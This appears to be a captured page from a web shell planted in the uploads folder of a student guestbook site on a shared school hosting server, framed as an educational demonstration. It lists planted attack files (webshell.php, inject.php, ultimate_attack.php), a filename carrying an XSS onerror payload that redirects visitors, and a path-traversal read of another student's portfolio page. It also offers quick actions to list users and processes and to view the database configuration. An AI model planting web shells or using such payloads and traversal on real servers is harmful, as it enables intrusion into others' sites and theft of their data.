🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584838.klas4s23.mid-ica.nl/../584701.klas4s23.mid-ica.nl/public_html/projects.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <title>Projects - Ingmar van Rheenen | Coming Soon</title>
    <meta name="description" content="Projecten pagina van Ingmar van Rheenen - Binnenkort beschikbaar. Ontdek binnenkort mijn portfolio met web development en design projecten.">
    <meta name="keywords" content="projects, portfolio, web development, coming soon, Ingmar van Rheenen">
    <meta name="author" content="Ingmar van Rheenen">
    <meta name="robots" content="index, follow">
    <link rel="canonical" href="https://yourdomain.com/projects.html">

    <style>
        /*=============== GOOGLE FONTS ===============*/
        @import url("https://fonts.googleapis.com/css2?family=Bai+Jamjuree:wght@400;500;600;700&display=swap");

        /*=============== VARIABLES CSS (from index) ===============*/
        :root {
            --header-height: 3.5rem;

            /*========== Colors ==========*/
            --first-color: hsl(14, 98%, 50%);
            --black-color: hsl(0, 0%, 0%);
            --black-color-light: hsl(0, 0%, 40%);
            --white-color: hsl(0, 0%, 95%);
            --title-color: hsl(0, 0%, 0%);
            --text-color: hsl(0, 0%, 35%);
            --text-color-light: hsl(0, 0%, 64%);
            --body-color: hsl(0, 0%, 87%);
            --container-color: hsl(0, 0%, 83%);

            /*========== Font and typography ==========*/
            --body-font: "Bai Jamjuree", sans-serif;
            --biggest-font-size: 2.5rem;
            --h1-font-size: 1.75rem;
            --h2-font-size: 1.25rem;
            --h3-font-size: 1.125rem;
            --normal-font-size: .938rem;
            --small-font-size: .813rem;
            --smaller-font-size: .75rem;

            /* font weight */
            --font-regular: 400;
            --font-medium: 500;
            --font-semi-bold: 600;
            --font-bold: 700;

            /* misc */
            --glass: rgba(255,255,255,0.6);
            --card-shadow: 0 8px 30px rgba(0,0,0,0.08);
            --z-fixed: 100;
        }

        @media screen and (min-width: 1150px) {
            :root {
                --biggest-font-size: 4.5rem;
                --h1-font-size: 3rem;
                --h2-font-size: 1.5rem;
                --h3-font-size: 1.25rem;
                --normal-font-size: 1rem;
                --small-font-size: .875rem;
                --smaller-font-size: .813rem;
            }
        }

        /* Respect reduced motion */
        @media (prefers-reduced-motion: reduce) {
            * { animation: none !important; transition: none !important; }
        }

        html,body{
            height:100%;
            margin:0;
            font-family: var(--body-font), system-ui, -apple-system, "Segoe UI", Roboto, Arial;
            background: linear-gradient(180deg, var(--body-color), var(--container-color));
            color: var(--text-color);
            -webkit-font-smoothing:antialiased;
            -moz-osx-font-smoothing:grayscale;
            display:flex;
            align-items:center;
            justify-content:center;
            padding:32px;
            box-sizing:border-box;
        }

        .card{
            width:min(880px,96vw);
            border-radius:14px;
            padding:42px;
            text-align:center;
            position:relative;
            overflow:hidden;
        }

        /* soft decorative blobs that match the index feel */
        .blob{
            position:absolute;
            border-radius:50%;
            filter: blur(36px);
            opacity:0.12;
            pointer-events:none;
            mix-blend-mode:screen;
            animation: float 9s ease-in-out infinite;
        }
        .blob.a{ width:320px;height:320px; background: var(--first-color); left:-100px; top:-80px; animation-duration:11s; }
        .blob.b{ width:220px;height:220px; background: var(--black-color); right:-80px; bottom:-70px; animation-duration:13s; opacity:0.06; animation-delay:1.5s; }

        @keyframes float {
            0%{ transform: translateY(0) rotate(0); }
            50%{ transform: translateY(14px) rotate(4deg); }
            100%{ transform: translateY(0) rotate(0); }
        }

        h1{
            font-size: clamp(1.2rem, 6vw, var(--h1-font-size));
            margin:0 0 12px;
            line-height:1.02;
            letter-spacing:-0.01em;
            font-weight:var(--font-bold);

            /* text gradient */
            background: var(--first-color);
            background-size:200% 100%;
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            animation: gradientShift 6s linear infinite;

            /* ensure the heading always fits inside its container */
            display: inline-block;
            max-width: 100%;
            box-sizing: border-box;
            white-space: normal;
            overflow-wrap: break-word;
            word-break: break-word;
        }
        @keyframes gradientShift {
            0%{ background-position: 0% 50%; }
            50%{ background-position: 100% 50%; }
            100%{ background-position: 0% 50%; }
        }

        /* per-letter entrance */
        .animate-letters span{
            display:inline-block;
            opacity:0;
            transform: translateY(12px) rotate(-1deg);
            animation: letterIn 520ms cubic-bezier(.2,.9,.3,1) forwards;
            animation-delay: calc(var(--i) * 0.045s);
            will-change: transform, opacity;
            color: inherit; /* inherit clipped gradient color */
            -webkit-text-fill-color: transparent;
        }
        @keyframes letterIn {
            to{ opacity:1; transform: translateY(0) rotate(0); }
        }

        p.lead{
            margin:0 auto;
            max-width:720px;
            color:var(--text-color-light);
            font-size:var(--normal-font-size);
            margin-top:12px;
            transform-origin:center;
            opacity:0;
            transform: translateY(6px);
            animation: fadeInUp 760ms ease-out 0.72s forwards;
        }
        @keyframes fadeInUp {
            to{ opacity:1; transform: translateY(0); }
        }

        .meta{
            margin-top:20px;
            display:flex;
            gap:10px;
            justify-content:center;
            flex-wrap:wrap;
            opacity:0.95;
        }
        .pill{
            background: rgba(0,0,0,0.04);
            color:var(--text-color);
            padding:8px 12px;
            border-radius:999px;
            font-size:0.9rem;
            border:1px solid rgba(0,0,0,0.04);
            backdrop-filter: blur(4px);
        }

        /* responsive tweaks */
        @media (max-width:560px){
            .card{ padding:26px; }
            .meta{ gap:8px; }
        }
    </style>
</head>
<body>
    <div class="card" role="main" aria-labelledby="coming-soon">
        <div class="blob a" aria-hidden="true"></div>
        <div class="blob b" aria-hidden="true"></div>

        <h1 id="coming-soon" class="animate-letters">Coming Soon</h1>
        <p class="lead">I'm working hard to bring you something amazing — a curated portfolio of web development and design projects. Stay tuned!</p>

        <div class="meta" aria-hidden="true">
            <div class="pill">Web • UI • Frontend</div>
            <div class="pill">Projects</div>
            <div class="pill">Crazy Ideas</div>
        </div>
    </div>

    <script>
        // Split heading into spans for staggered animation.
        (function(){
            const h = document.querySelector('.animate-letters');
            if(!h) return;
            const text = h.textContent || '';
            h.textContent = '';
            Array.from(text).forEach((ch, i) => {
                const s = document.createElement('span');
                s.textContent = ch;
                s.style.setProperty('--i', i);
                if (ch === ' ') {
                    s.style.width = '0.45rem';
                    s.style.display = 'inline-block';
                }
                h.appendChild(s);
            });
        })();
    </script>
</body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!